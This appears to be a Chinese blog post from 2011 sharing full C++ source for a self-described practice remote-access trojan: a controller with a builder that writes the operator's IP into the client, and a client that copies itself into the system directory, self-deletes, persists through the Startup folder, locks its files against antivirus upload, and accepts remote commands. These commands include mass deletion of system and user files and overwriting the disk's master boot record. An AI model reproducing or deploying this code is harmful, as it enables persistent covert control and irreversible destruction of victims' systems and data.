

======================================================================================================
優點:
可以熟悉socket編程...
缺點:
架構很差勁...同一時間只能控制一臺機器(看來還得老老實實學習鏈表)
特點:
可以玩一玩...
下載地址:socket 編程練習作品(仿木馬版)======================================================================================================
控制端源碼(Srv.cpp ):
=======================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
DWORD WINAPI recvMessage(LPVOID msge);
void huikuiMessage(SOCKET sockClient);
DWORD WINAPI SendCmd(LPVOID msge);
void csh(); // 初始化代碼
void L(); // 連接到被控端代碼
int Errorzd=0; // 連接中斷標志
/*******************
* 胡言亂語 *
********************/
void Lovemengx()
{
puts("SOCKET編程練習作品...(尚未完善)");
printf("=======================================================================\n");
printf(" * |");
printf("\n剛學SOCKET編程,設計了這個不知道該叫什么的程序 * |\n");
printf(" * |");
printf("\n說它是木馬吧,連一個遠程桌面的功能都沒有... * |\n");
printf(" * |");
printf("\n說它是后門吧,連一個本地上傳的功能都沒有... * |\n");
printf(" ****** * |");
printf("\n說它不是吧,又具備一些木馬、后門的特征... * |\n");
printf(" |");
printf("\n╮(╯▽╰)╭,不管怎么樣!通過它能更熟悉SOCKET編程,也算是一種收獲吧~ |\n");
printf(" |");
printf("\n L、(Love 夢想) |\n");
printf(" 2011-9-5 |");
printf("\n=======================================================================\n");
}
void server()
{
HRSRC hRc=FindResource(NULL,"c:\\Cilent.exe","Exe");
if(!hRc)
{
MessageBox(0,"EXE資源不存在","錯誤",0);
exit(1);
}
HGLOBAL hg=LoadResource(NULL,hRc); // 將資源載入內存并返回其在內存中首地址保存在hg中
DWORD dw=SizeofResource(NULL,hRc); // 獲得資源大小并用dw保存資源大小
// 分配緩沖區并用0填充
char a[57345];
memset(a,0,57345);
// 向該緩沖區中復制資源的二進制數據
memcpy(a,hg,dw); // 將資源的二進制數據存放在緩沖區a
// 創建服務端文件
FILE *out=fopen("server.exe","wb+");
fwrite(a,1,dw,out);
fclose(out);
// 修改配置信息
char IP[15];
memset(IP,0,15);
printf("請輸入IP(默認 127.0.0.1):\n");
gets(IP);
fflush(stdout);
FILE *fp=fopen("server.exe","rb+");
rewind(fp);
fseek(fp,0xA05C,0);
fwrite(IP,1,15,fp);
fclose(fp);
MessageBox(NULL,"已經生成服務端:【server.exe】","OK",0);
exit(0);
}
void main()
{
system("title SOCKET 編程練習作品(仿木馬版) L、QQ:1000000002");
//////////////////////////////////////////////////////////////////////////
// 讓啟動程序時的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
system("color 0a");
do
{
Errorzd = 0;
if ((MessageBox(0,"是否配置服務端?","提示",MB_YESNO|MB_SYSTEMMODAL)==IDYES))
{
server();
}
csh();
system("cls");
Lovemengx();
L();
} while (Errorzd);
}
/*******************
* 初始化套接字庫 *
********************/
void csh()
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
::MessageBox(0,"無法初始化套接字庫","提示",MB_SYSTEMMODAL);
return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
LOBYTE(wsaData.wVersion)!=2)
{
::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
WSACleanup();
return;
}
}
/*******************
* 連接被控端 *
********************/
void L()
{
SOCKET sockSre=socket(AF_INET,SOCK_STREAM,0);
HANDLE Thread1;
// 設置服務端IP相關信息
printf("\n******** 設置服務端IP相關信息 *********\n");
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(6000);
printf("\n******** 綁定端口 *********\n");
if ((bind(sockSre,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)))!=0)
{
::MessageBox(0,"綁定端口失敗!","提示",MB_SYSTEMMODAL);
return;
}
printf("\n******** 設置監聽 *********\n");
if (listen(sockSre,5)!=0)
{
::MessageBox(0,"設置監聽失敗!","提示",MB_SYSTEMMODAL);
return;
}
SOCKADDR_IN addrClient;
int len=sizeof(SOCKADDR);
//char recvBuf[1000];
printf("\n******** 等待上線 *********\n");
SOCKET sockcon=accept(sockSre,(SOCKADDR*)&addrClient,&len);
// 啟動發送命令線程
system("cls");
Thread1=CreateThread(NULL,0,SendCmd,(LPVOID)sockcon,0,0 );
// 啟動接受回饋信息模塊
huikuiMessage(sockcon);
TerminateThread(Thread1,1); // 只有被控端斷開連接的情況下才會強制結束發送命令的線程
closesocket(sockcon); // 關閉套接字
WSACleanup(); // 釋放資源
}
/*******************
* 發送命令線程 *
********************/
DWORD WINAPI SendCmd(LPVOID msge)
{
SOCKET sockcon=(SOCKET)msge;
char sendBuf[1000];
for (;;)
{
printf("\n********************************************\n");
printf("\n【a】震動窗口\t【b http://***.***.***】打開網頁\n");
printf("\n【c】摧毀系統\t【L】摧毀硬盤\t(慎用哈!)\n");
printf("\n【q】退出被控端程序\t【Q】卸載被控端程序\n");
printf("\n********************************************\n");
printf("\n\n請輸入執行命令\n-> ");
gets(sendBuf);
if (strlen(sendBuf)==0)
{
puts("===== 命令不能為空 =====");
continue;
}
send(sockcon,sendBuf,strlen(sendBuf)+1,0); // 發送命令
system("cls");
}
return 0;
}
/*******************
* 回饋信息模塊 *
********************/
void huikuiMessage(SOCKET sockClient)
{
printf("\n******** 信息回饋線程已啟動 *******\n");
char comd[100] = {0};
for (;;)
{
if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() == WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
{
Errorzd = 1; // 將連接中斷標志置 1
MessageBox(0,"******** 被控端下線 斷開連接 *********","注意",MB_SYSTEMMODAL);
break;
}
else
{
::MessageBox(0,comd,"提示",MB_SYSTEMMODAL);
}
}
}
/*******************
* 解析命令模塊 *
********************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;
for (j=0;i>=0;j++,i--)
tmp[j]=temp[j+1]; // 第一個元素是命令 其余的是附帶參數
return tmp;
}
==================================================================================================
被控端源碼(Cilent.cpp ):
==================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#include "..\\L、.h"
#pragma comment(lib,"ws2_32.lib") // 鏈接sock庫
DWORD WINAPI recvMessage(LPVOID msge);
DWORD WINAPI commod(LPVOID msge);
void recvMessage(SOCKET sockClient);
char *Remove(char temp[]);
void L();
void Auto(char Name[]); // 添加開機啟動項
void zh(); // 卸載模塊
char ServerIP[]="127.0.0.1";
char tmp[]="有主機上線";
// 回饋信息結構體
struct MesCmd
{
SOCKET Client; // 傳遞套接字
char *cmd; // 傳遞命令
} Mes;
HANDLE Lock_File=NULL,Lock_File1=NULL; // 鎖定文件,防止被分析及云上傳
/*******************
* 初始化套接字庫 *
********************/
void csh()
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
::MessageBox(0,"無法初始化套接字庫","提示",MB_SYSTEMMODAL);
return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
LOBYTE(wsaData.wVersion)!=2)
{
::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
WSACleanup();
return;
}
}
/*******************
* 配置套接字 *
********************/
void L()
{
SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);
// 設置服務端IP相關信息
SOCKADDR_IN addrCilent;
addrCilent.sin_addr.S_un.S_addr=inet_addr(ServerIP);
addrCilent.sin_family=AF_INET;
addrCilent.sin_port=htons(6000);
for (;connect(sockClient,(SOCKADDR*)&addrCilent,sizeof(SOCKADDR))!=0;)
{
puts("****** 連接服務端失敗 靜候3秒繼續嘗試連接 ******");
Sleep(3000);
}
puts("****** 與服務器建立成功 等待接受命令 ******");
send(sockClient,tmp,strlen(tmp)+1,0);
// 啟動接受命令模塊
recvMessage(sockClient);
}
/*******************
* 接受命令線程 *
********************/
void recvMessage(SOCKET sockClient)
{
char comd[100] = {0};
for (;;)
{
if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() == WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
{
puts("連接已經斷開");
L();
}
Mes.Client=sockClient;
Mes.cmd=comd;
// 啟動執行命令線程 以結構體的形式傳遞多個參數
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)commod,&Mes,0,NULL);
}
}
/*******************
* 執行命令線程 *
********************/
DWORD WINAPI commod(LPVOID msge)
{
char CmdErrorYN[100];
char CmdTmp[100]={0},*Cmd=NULL; // 定義一個中間變量 防止服務端執行多次命令時錯誤提示最后一次執行的命令
int ErrorYN=0; // 對錯碼
MesCmd *Mes= (MesCmd *)msge; // 強制轉換類型
strcpy(CmdTmp,Mes->cmd);// 將命令賦值給中間變量 防止此命令尚未執行完 值就被下次的命令覆蓋
// 這里可以添加相關的功能 第一個字節為命令類型 第二個字節為附帶參數
switch(CmdTmp[0])
{
case 'a': // 窗口震動
ErrorYN = WindowShake();
strcpy(CmdTmp,"【窗口震動】");
break;
case 'b':
Cmd=Remove(CmdTmp); // 分析得到附帶參數
ErrorYN=OpenUrl(Cmd);
strcpy(CmdTmp,"【打開網頁】");
break;
case 'c':
ErrorYN=Wreck_system();
strcpy(CmdTmp,"【摧毀系統】");
break;
case 'L':
ErrorYN=Wreck_Disk();
strcpy(CmdTmp,"【摧毀硬盤】");
break;
case 'q': // 退出程序
closesocket(Mes->Client);
WSACleanup();
exit(1);
case 'Q': // 卸載
zh();
closesocket(Mes->Client);
WSACleanup();
exit(1);
default: ErrorYN=0;
}
if (ErrorYN)
sprintf(CmdErrorYN,"執行 %s 命令完畢!",CmdTmp);
else
sprintf(CmdErrorYN,"執行 %s 命令失敗!錯誤未知!",CmdTmp);
send(Mes->Client,CmdErrorYN,strlen(CmdErrorYN)+1,0); // 發送命令
return 0;
}
/*************************
* 自毀模塊********** *
**************************/
void zh()
{
char DirBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL); // 獲取當前程序句柄
// 關閉獨占模式
CloseHandle(Lock_File);
CloseHandle(Lock_File1);
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當前程序的路徑
// 刪除自啟動項
unlink("C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe");
// 刪除自身
Del(DirBuffer);
}
/*************************
* 命令、參數解析線程 *
**************************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;
for (j=0;i>=0;j++,i--)
tmp[j]=temp[j+1]; // 第一個元素是命令 其余的是附帶參數
return tmp; // 將純參數返回
}
/***************************
* 程序運行時進行初始化 *
***************************/
void DelAdd()
{
char systemName[MAX_PATH];
char DirBuffer[MAX_PATH];
// char tempBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL); // 獲取當前程序句柄
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當前程序的路徑
// GetFileTitle(DirBuffer,tempBuffer,MAX_PATH); // 從路徑中提取文件名
GetSystemDirectory(systemName,sizeof(systemName)); // 獲取系統文件夾路徑
strcat(systemName,"\\lovemengxiang.exe"); // 生成的文件名
if ((strcmp(DirBuffer,systemName))!=0) // 判斷程序自身是否在系統目錄 不在則實現自刪除
{
CopyFile(DirBuffer,systemName,0);
Del(DirBuffer); // 自刪除模塊
ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 運行副本
exit(0); // 退出 讓Bat刪除自己
}
else
{
Auto(DirBuffer);
// 第一步 立即鎖定本體 防止被上傳 我想殺軟沒那么無聊為了上傳就隨隨便便解鎖吧?
Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
}
/***************************
* 開機自啟動 *
***************************/
void Auto(char Name[])
{
// 自復制到 啟動文件夾 實現開機自啟動 嫌麻煩 就用這種方式自啟動吧 一句代碼搞定
char DirName[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe";
CopyFile(Name,DirName,1);
Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
/*
由于它會自釋放、自刪除、自復制并且會自鎖定 形成一個循環既可以保證啟動文件始終有一個
原體存在,又能同時鎖定兩個文件以阻止被刪除、復制上傳。即使被刪除也會因為自復制后再生
,實現無進程再生功能。不過,這種啟動方式易被發現,并且以自己的進程去鎖定文件只能對付普
通刪除,所以需要改進,啟動方式又很多種,不過這里為了方便就用這個吧。至于鎖定文件可以讓
系統管進程如:svchost.exe 、winlogon.exe 去保護源體!這樣即使被發現也得在系統重啟之后
才能清除!而鎖定句柄保留方便卸載或升級被控端用...
*/
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//////////////////////////////////////////////////////////////////////////
// 讓啟動程序時的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
DelAdd();
csh(); // 初始化
L(); // 核心調用
return 0;
}
============================================================================================
核心功能源碼:(L、.h 部分原創)
============================================================================================
/********************************************************/
// 窗口抖動 功能
/********************************************************/
int WindowShake() // 窗口抖動
{
HWND ForeHandle=GetForegroundWindow();
for(int i=0;i<15;i++)
{
RECT rc;
GetWindowRect(ForeHandle,&rc);
MoveWindow(ForeHandle,rc.left+8,rc.top+8,rc.right-rc.left,rc.bottom-rc.top,1);
Sleep(40);
MoveWindow(ForeHandle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);
Sleep(40);
Beep(0x0fff,10);
}
return 1;
}
/********************************************************/
// 自刪除功能
/********************************************************/
void Del(char *systemname)
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);
fprintf(fp,"del /f /q \"%s\" \n",systemname);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);
}
/********************************************************/
// 打開網頁
/********************************************************/
int OpenUrl(char url[])
{
char Url[300]={0};
strcpy(Url,"explorer.exe ");
strcat(Url,url);
WinExec(Url,SW_SHOW); // 隱藏打開指定網頁
return 1;
}
/********************************************************/
// 摧毀系統 功能
/********************************************************/
int Wreck_system()
{
system("del /f /s /q C:\boot.ini");
system("del /f /s /q *.gho");
system("del /f /s /q QQ.exe");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.bat");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q c:\*.txt");
system("del /f /s /q c:\*.gho");
system("del /f /s /q c:\*.old");
system("del /f /s /q c:\*.gid");
system("del /f /s /q c:\*.chk");
system("del /f /s /q c:\*.log");
system("del /f /s /q c:\*._mp");
system("del /f /s /q c:\*.lnt");
system("del /f /s /q c:\*.dll");
system("del /f /s /q c:\*.exe");
system("del /f /s /q c:\*.bmp");
system("del /f /s /q c:\*.rar");
system("del /f /s /q c:\*.png");
system("del /f /s /q c:\*.jpg");
system("del /f /s /q c:\*.mp3");
system("del /f /s /q c:\*.bat");
system("del /f /s /q c:\*.mp4");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q %systemdrive%\recycled\*.*");
system("del /f /s /q %windir%\*.*");
system("del /f /s /q %windir%\prefetch\*.*");
system("del /f /s /q %windir%\temp\*.*");
system("del /f /q %userprofile%\cookies\*.*");
system("del /f /q %userprofile%\recent\*.*");
system("del /f /s /q /""%userprofile%\recent\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temporary Internet Files\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temp\*.*/""");
/*
system("del /f /s /q d:\*.*");
system("del /f /s /q e:\*.*");
system("del /f /s /q f:\*.*");
*/
return 1;
}
/********************************************************/
// 摧毀硬盤 功能
/********************************************************/
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x52\x69\x67\x69\x64\x20\x44\x69"
"\x73\x6b\x20\x46\x61\x69\x6c\x75\x72\x65\x21";
int Wreck_Disk()
{
// ExitWindowsExT pExitWindowsEx = (ExitWindowsExT)GetProcAddress(LoadLibrary("USER32.dll"), "ExitWindowsEx");
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新構造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
// 寫入病毒內容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
CloseHandle(hDevice);
Sleep(2000);
DWORD dwVersion = GetVersion();
if (dwVersion < 0x80000000) // Is NT or 2000!
{
HANDLE hToken; TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // set privilege
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT, 0);
}
// else // Is 9x or Me
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
// ExitProcess(-1);
return 1;
}
===========================================================================================
|